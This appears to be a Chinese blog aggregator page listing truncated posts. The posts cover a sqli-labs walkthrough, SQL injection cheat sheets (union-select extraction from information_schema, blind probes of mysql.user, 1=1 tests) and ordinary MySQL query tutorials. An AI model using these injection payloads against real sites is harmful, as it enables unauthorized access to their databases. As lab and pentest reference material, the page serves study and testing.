Less-111.首先随便写一点 然后直接抓包可以看见报错了这个时候我们加个单引号，然后分析后台报错得语句可以看见我们只看见了passwd得语法问题 没有看见uname得报错 我们初衷就是要加单引号，通过报错看看uname得语法所以加一个双引号看看这个时候后台报错就出来了这个时候想办法让他不报错直接admin‘# 闭合单引号可以看见不报错了然后用order by测试列数(用二分法)最后
1、利用order by 判断字段数。 2、利用union select 联合查询，获取表名。 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=databas
原创
2022-09-28 22:34:19
174阅读
众所周知，SQL注入***是最为常见的Web应用程序***技术。同时SQL注入***所带来的安全破坏也是不可弥补的。以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞。BSQL Hacker
BSQL Hacker是由Portcullis实验室开发的，BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注)，其设计的目的是希望能对任何的数据库进行SQL溢出注入
盲注查询：and (select count(*) from mysql.user)>0/* 查看权限1:system_user() 系统用户名2:user() 用户名3:current_user 当前用户名4:session_user()连接数据库的用户名5:database() 数据
翻译
精选
2014-07-18 11:32:49
3948阅读
基本语句1、mysql -u root -p 数据库连接2、create databases 数据库名 &nb
原创
2017-08-29 20:59:05
2346阅读
查看当前正在运行的sql语句执行最时间：select*frominformation_schema.PROCESSLISTwhereinfoisnotnullorderbytimedesc;查看当前有那些表在使用：showOPENTABLESwhereIn_use>0;查看与innodb事务先关的语句：SELECTFROMINFORMATION_SCHEMA.INNODB_LOCKS;SEL
原创
2018-10-26 21:23:18
430阅读
mysql常用的条件查询
原创
2023-07-11 16:39:07
1702阅读
以下是一些常用的MySQL查询语句：1.SELECT：用于从数据库中选择数据。SELECT * FROM table_name; SELECT column1, column2 FROM table_name; 2.UPDATE：用于更新数据库中的数据。UPDATE table_name SET column1 = value1, column2 = value2 WHERE condition;
原创
2023-09-13 09:30:39
81阅读
-- 创建表
create table stu(
id int,
name varchar(20),
chinese double,
english double,
math double
);
-- 插入记录
insert into stu(id,name,chinese,english,math) values(1,'tom',89,78,90);
insert into stu(i
原创
2023-08-08 11:06:27
100阅读
在对web应用进行渗透测试时，SQL注入无疑是最重要的检测项之一，下面就对常用的SQL注入语句进行一个归纳总结，便于在进行渗透
测试时使用。
1.判断有无注入点; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select count(*) from
转载
2010-08-07 18:49:13
671阅读
自己整理了一些放到这里，以备不时之需。
[常规查询]
and exists (select * from sysobjects) //判断是否是MSSQL
and 1=c
原创
2012-12-09 12:05:51
629阅读
[网络安全] 常用SQL注入语句 （阅读：90 | 评论：0）
天行健 发表于2010-07-24 11:10
在对web应用进行渗透测试时，SQL注入无疑是最重要的检测项之一，下面就对常用的SQL注入语句进行一个归纳总结，便于在进行渗透
测试时使用。
1
转载
精选
2010-08-08 17:03:31
678阅读
[网络安全] 常用SQL注入语句 （阅读：90 | 评论：0）
天行健 发表于2010-07-24 11:10
在对web应用进行渗透测试时，SQL注入无疑是最重要的检测项之一，下面就对常用的SQL注入语句进行一个归纳总结，便于在进行渗透
测试时使用。
1
转载
精选
2010-08-08 18:13:52
467阅读
判断是否存在SQL注入'and 1=1and 1=2暴字段长度Order by 数字匹配字段and 1=1 uni
转载
2023-05-02 13:39:53
128阅读
1.查询数值型数据: SELECT * FROM tb_name WHERE sum > 100; 查询谓词:>,=,<,<>,!=,!>,!<,>=,<= 2.查询字符串 SELECT * FROM tb_stu WHERE sname = '小刘' SELECT * FROM tb_stu WHERE sname like '刘%'
-- 最近30天
select date_add(curdate(), interval(cast(help_topic_id as signed integer) - 30) day) day
from mysql.help_topic
where help_topic_id <= day(last_day(curdate()))
order by help_to
常用Mysql查询语句记录
一、授权
1.授权本地用户对所有数据库具有所有权限
mysql> grant all privileges on *.* to user@localhost identified by 'passwd';
2.授权本地用户对某个数据库具有所有权限
mysql> grant all privileges on database.*
转载
精选
2010-08-03 13:14:00
1071阅读
一、sql注入语句爆破所有数据库：(select group_concat(schema_name) from information_schema.schemata)获取数据库所有表：(select group_concat(table_name) from information_schema.tables where table_schema='mysql')获取所有列名：(select
转载
2023-07-01 08:09:07
144阅读
MySQL函数数学函数绝对值函数ABS(x)ABS(x)返回x的绝对值SELECT ABS(字段名) FROM 表名;圆周率的函数PI()SELECT PI();PI()返回圆周率的值，默认显示的小数是6位。平方根函数SQRT(x)SQRT(x)返回非负数x的平方根对表的某列求平方根：SELECT SQRT(字段名) FROM 表名;求余函数MOD(x,y)MOD(x,y)返回x被y除后的余数，M
转载
2023-09-02 09:01:08
42阅读
单表查询 MySQL从数据表中查询数据最基本的语句是SELECT语句，在前面的“增删查”已经使用过：SELECT * FROM 表名，也就是查询指定数据表中的所有数据。下面将对SELECT语句进行详细介绍。查询所有字段语法：SELECT 字段名1，字段名2，… FROM 表名结果：注意：字段顺序可以更改则显示的结果也会作出对应的调整：4.1.2 在SELECT语句中使用（
转载
2023-06-25 10:28:21
4643阅读
